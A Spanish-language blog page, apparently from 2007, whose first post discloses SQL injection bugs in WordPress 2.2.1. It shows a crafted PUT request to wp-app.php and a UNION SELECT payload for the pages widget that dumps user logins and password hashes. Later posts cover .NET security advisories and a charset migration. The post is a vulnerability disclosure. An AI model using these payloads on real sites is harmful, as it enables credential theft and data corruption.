WordPress: Más vulnerabilidades de inyección de SQL

Puesto que en estos días ando algo ocupado y sin muchas ideas para publicar, aprovecharé la oleada de reportes de seguridad en WordPress para comentar algunos bugs que todavía no están corregidos en la versión 2.2.1 ni en la versión en desarrollo, a pesar de que los reporté hace como dos o tres semanas.

Primera variante

Se puede reproducir en las funciones create_post, put_post y put_attachment de wp-app.php, este error se produce porque no escapan adecuadamente todos los caracteres potencialmente peligrosos en los datos que son enviados a ésta página. Esta es la única función que actúa sobre esos datos:

php:
function xml_escape($string)
{
         return str_replace(array('&','"',"'",'<','>'),
                array('&amp;','&quot;','&apos;','&lt;','&gt;'),
                $string );
}

El siguiente ejemplo muestra una petición HTTP que arruinará los contenidos de la tabla wp_posts, en este caso se usa el método put_post.

code:
PUT /wp/wp-app.php?action=/post/55 HTTP/1.1
Cookie: auth cookies
Content-Type: application/atom+xml
Host: localhost
Content-Length: 170

<feed>
    <entry>
        <id>http://localhost/wp/archivos/titulo-modificado/</id>
        <title type="html">foo\</title>
        <summary type="html">/*</summary>       
    </entry>
</feed>

Al realizar esa petición HTTP, la consulta ejecutada será:

sql:
UPDATE IGNORE wp_svn_posts SET
                        post_author = '1',
                        post_date = '2007-06-27 22:57:05',
                        post_date_gmt = '2007-06-28 03:57:05',
                        post_content = '',
                        post_content_filtered = '',
                        post_title = 'foo\',
                        post_excerpt = '/*',
                        post_status = 'publish',
                        post_type = 'post',
                        comment_status = 'open',
                        ping_status = 'open',
                        post_password = '',
                        post_name = 'test',
                        to_ping = '',
                        pinged = '',
                        post_modified = '2007-07-12 23:05:39',
                        post_modified_gmt = '2007-07-13 04:05:39',
                        post_parent = '0',
                        menu_order = '0'
                        WHERE ID = 55
 

Segunda variante

Esta variante está en estrecha relación a lo discutido en "PHP: Uso adecuado de parse_str", en esta entrada, a pesar de que existen más lugares donde se puede hacer lo mismo, sólo mostraré un caso específico.

En el widget para mostrar páginas, existe una opción que permite indicar los IDs de las páginas a excluir, este valor se almacena sin casi ningún tipo de validación (sólo se aplica strip_tags). Si hacemos que ese parámetro tenga el siguiente valor (puede variar de acuerdo a la versión que usen), en la página principal del blog se mostrará la lista de usuarios con su respectiva contraseña en MD5.

code:
2&hierarchical=0&meta_key=2') UNION ALL SELECT 1,1,2,3,4,concat(user_login,0x7C,user_pass),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27 FROM wp_svn_users/*&meta_value=1

Usando este mismo método, es posible realizar ataques XSS en wordpress.com (ver demo, funciona en IE y algunas veces en Firefox), en este caso, las vulnerabilidades de XSS son más peligrosas porque las cookies son globales, es decir, se comparten entre todos los subdominios de wordpress.com.

Vulnerabilidades en .NET Framework

La boletín de seguridad de Microsoft para Julio, menciona tres problemas de seguridad en el .NET Framework, dos de éstos permiten la ejecución remota de código y el tercero permite descargar los contenidos de cualquier aplicación Web.

  • .NET PE Loader Vulnerability: A remote code execution vulnerability exists in .NET Framework that could allow an attacker who successfully exploited this vulnerability to make changes to the system with the permissions of the logged-on user. If a user is logged in with administrative user rights, an attacker could take complete control of the affected system. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights. Users whose accounts are configured to have fewer user rights on the system could be less impacted than users who operate with administrative user rights.
  • .NET JIT Compiler Vulnerability: A remote code execution vulnerability exists in .NET Framework Just In Time Compiler that could allow an attacker who successfully exploited this vulnerability to make changes to the system with the permissions of the logged-on user. If a user is logged on with administrative user rights, an attacker could take complete control of the affected system. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights. Users whose accounts are configured to have fewer user rights on the system could be less impacted than users who operate with administrative user rights.
  • ASP.NET Null Byte Termination Vulnerability: An information disclosure vulnerability exists in .NET Framework that could allow an attacker who successfully exploited this vulnerability to bypass the security features of an ASP.NET Web site to download the contents of any Web page.

Blog actualizado

El tiempo que el blog estuvo fuera de servicio -- a pesar de que un plugin mostraba un mensaje raro 😛 --, me permitió corregir algunos detalles de la plantilla, mejorar unos cuantos plugins y principalmente actualizar el blog a WordPress 2.2.2, que entre otras cosas incluye correcciones a otros problemas de seguridad reportados en la versión 2.2.1.

Este proceso fue un poco tedioso, porque a pesar de que todas tablas y campos tenían la codificación adecuada (utf8_general_ci), los datos estaban almacenados en latin1 y como es de suponer, no se mostraban bien cuando en el archivo de configuración se especificaba un valor diferente a ese para DB_CHARSET. Por otro lado, gran parte de las entradas y comentarios del 2004 - 2005 estaban doblemente codificados.

php:
define('DB_CHARSET', 'utf8');

El primer intento para corregir este problema, fue usar el plugin que g30rg3_x hizo, pero en este caso no tuvo ningún efecto porque -- en mi opinión -- MySQL creía que no era necesario hacer nada si la codificación de origen y destino eran las mismas. Luego de unas cuantas modificaciones del plugin y pruebas no satisfactorias, decidí descartarlo porque tampoco me iba ayudar con los datos que tenían doble codificación.

Luego de buscar sin éxito más alternativas, opté por una solución nada elegante pero que finalmente llegó a funcionar 😀 . Lo que hice fue escribir un pequeño script que se encargue de pasar los datos antiguos a una nueva base de datos con la codificación adecuada, esto además me permitió detectar y corregir de manera rústica los elementos que habían sido doblemente codificados.

Entre hoy o mañana, habilitaré un nuevo plugin para hacer pruebas con la publicidad del blog. Si no notan nada extraño, eso quiere decir que está funcionando como debería 😉 , pero si no es así, les pido por favor que me hagan saber los problemas que encuentren.

Videos sobre .NET

Presentaciones sobre .NET: